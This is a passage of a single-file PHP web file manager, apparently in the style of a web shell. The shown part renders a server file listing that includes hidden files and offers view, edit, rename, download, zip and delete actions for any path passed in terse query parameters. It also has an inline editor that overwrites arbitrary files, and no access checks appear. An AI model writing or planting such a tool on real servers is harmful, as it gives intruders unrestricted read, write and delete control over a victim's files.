                                            else if (in_array($ext, ['mp4', 'avi', 'mkv', 'mov', 'wmv', 'flv'])) $icon = '🎬';
                                            else if (in_array($ext, ['zip', 'rar', 'tar', 'gz', '7z', 'bz2'])) $icon = '📦';
                                            else if (in_array($ext, ['php', 'html', 'css', 'js', 'py', 'rb', 'java', 'c', 'cpp'])) $icon = '⚙️';
                                            else if (in_array($ext, ['txt', 'md', 'log', 'ini', 'conf', 'env', 'yml'])) $icon = '📝';
                                            else if (in_array($ext, ['pdf'])) $icon = '📑';
                                            else if (in_array($ext, ['doc', 'docx'])) $icon = '📘';
                                            else if (in_array($ext, ['xls', 'xlsx'])) $icon = '📊';
                                            else if (in_array($ext, ['ppt', 'pptx'])) $icon = '📽️';
                                            
                                            echo "<tr" . ($isHidden ? " class='hidden-file'" : "") . ">";
                                            echo "<td class='file-icon'>$icon</td>";
                                            echo "<td><span class='file-name'>" . ($isHidden ? "<i>" . htmlspecialchars($item) . "</i>" : htmlspecialchars($item)) . "</span></td>";
                                            echo "<td>$size</td>";
                                            echo "<td><span class='perms-badge'>$perms</span></td>";
                                            echo "<td>" . ($mtime ?: '-') . "</td>";
                                            echo "<td class='action-group'>";
                                            
                                            if (isImage($fullPath) || isTextFile($fullPath)) {
                                                echo "<button onclick='viewFile(\"" . addslashes($fullPath) . "\")' class='action-btn action-view'>View</button>";
                                            }
                                            
                                            if (isTextFile($fullPath)) {
                                                echo "<a href='?a=edit&t=" . urlencode($fullPath) . "' class='action-btn action-edit'>Edit</a>";
                                            }
                                            
                                            echo "<button onclick='showRenameModal(\"" . addslashes($fullPath) . "\", \"" . addslashes($item) . "\")' class='action-btn action-rename'>Rename</button>";
                                            echo "<a href='?a=download&t=" . urlencode($fullPath) . "' class='action-btn action-download'>DL</a>";
                                            echo "<a href='?a=compress&t=" . urlencode($fullPath) . "' class='action-btn action-zip'>Zip</a>";
                                            echo "<a href='?a=delete&t=" . urlencode($fullPath) . "' class='action-btn action-delete' onclick='return confirm(\"Delete this file?\")'>Del</a>";
                                            echo "</td>";
                                            echo "</tr>";
                                        } catch (Exception $e) {
                                            continue;
                                        }
                                    }
                                }
                            }
                            ?>
                        </tbody>
                    </table>
                </div>
            </div>
            
            <?php if ($action === 'edit' && $target && is_file($target)): ?>
                <div class="editor-container">
                    <div class="panel">
                        <div class="panel-title">Editing: <?php echo htmlspecialchars(basename($target)); ?></div>
                        <form method="post">
                            <input type="hidden" name="a" value="edit">
                            <input type="hidden" name="t" value="<?php echo htmlspecialchars($target); ?>">
                            <textarea name="content" class="editor"><?php echo htmlspecialchars(@file_get_contents($target)); ?></textarea>
                            <div style="margin-top: 16px; display: flex; gap: 12px;">
                                <button type="submit" class="operation-btn">Save Changes</button>
                                <a href="?p=<?php echo urlencode(dirname($target)); ?>" class="operation-btn" style="background: transparent;">Cancel</a>
                            </div>
                        </form>
                    </div>
                </div>
            <?php endif; ?>
        </div>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3 id="renameModalTitle">Rename Item</h3>
                <button class="modal-close" onclick="closeRenameModal()">Close</button>
            </div>
            <form method="post" id="renameForm" onsubmit="return validateRenameForm()">
                <input type="hidden" name="a" value="rename">
                <input type="hidden" name="t" id="renameTarget" value="">
                <div class="modal-body">
                    <input type="text" name="new_name" id="newName" class="modal-input" placeholder="New name" autocomplete="off" required>
                </div>
                <div class="modal-footer">
                    <button type="button" class="modal-btn modal-btn-secondary" onclick="closeRenameModal()">Cancel</button>
                    <button type="submit" class="modal-btn modal-btn-primary">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- File Viewer Modal -->
    <div id="fileModal" class="modal">
        <div class="modal-content modal-lg">
            <div class="modal-header">
                <h3 id="modalTitle">Viewing File</h3>
                <button class="modal-close" onclick="closeModal()">Close</button>
            </div>
            <div class="modal-body modal-body-lg" id="modalBody">
            </div>
        </div>
    </div>
    
    <script>
        function showRenameModal(path, currentName) {
            document.getElementById('renameTarget').value = path;
            document.getElementById('newName').value = currentName;
            document.getElementById('renameModal').classList.add('active');
            
            setTimeout(function() {
                const input = document.getElementById('newName');
                input.focus();
                input.select();
            }, 100);
        }
        
        function closeRenameModal() {
            document.getElementById('renameModal').classList.remove('active');
            document.getElementById('newName').value = '';
        }
        
        function validateRenameForm() {
            const newName = document.getElementById('newName').value.trim();
            
            if (!newName) {
                alert('Please enter a name');
                return false;
            }
            
            if (newName.includes('/') || newName.includes('\\')) {
                alert('Name cannot contain slashes');
                return false;
            }
            
            return true;
        }
        
        function openModal() {
            document.getElementById('fileModal').classList.add('active');
        }
        
        function closeModal() {
            document.getElementById('fileModal').classList.remove('active');
            document.getElementById('modalBody').innerHTML = '';
        }
        
        function viewFile(filePath) {
            fetch('?ajax_view=' + encodeURIComponent(filePath))
                .then(response => response.json())
                .then(data => {
                    document.getElementById('modalTitle').textContent = 'Viewing: ' + data.name;
                    const modalBody = document.getElementById('modalBody');
                    
                    if (data.is_image) {
                        modalBody.innerHTML = '<img src="data:' + data.mime + ';base64,' + data.content + '" class="modal-image" alt="' + data.name + '">';
                    } else if (data.is_text) {
                        modalBody.innerHTML = '<pre class="modal-text">' + escapeHtml(data.content) + '</pre>';
                    } else {
                        modalBody.innerHTML = '<div class="message error">Cannot preview this file type</div>';
                    }
                    
                    openModal();
                })
                .catch(error => {
                    alert('Error loading file: ' + error);
                });
        }
        
        function escapeHtml(text) {
            const div = document.createElement('div');
            div.textContent = text;
            return div.innerHTML;
        }
        
        function toggleAll(source) {
            const checkboxes = document.getElementsByName('files[]');
            for(let i = 0; i < checkboxes.length; i++) {
                checkboxes[i].checked = source.checked;
            }
        }
        
        window.onclick = function(event) {
            const renameModal = document.getElementById('renameModal');
            const fileModal = document.getElementById('fileModal');
            
            if (event.target === renameModal) {
                closeRenameModal();
            }
            if (event.target === fileModal) {
                closeModal();
            }
        }
        
        document.addEventListener('keydown', function(e) {
            if (e.key === 'Escape') {
                closeRenameModal();
                closeModal();
            }
        });
        
        document.getElementById('renameForm')?.addEventListener('submit', function(e) {
            if (!validateRenameForm()) {
                e.preventDefault();
            }
        });
    </script>
</body>
</html>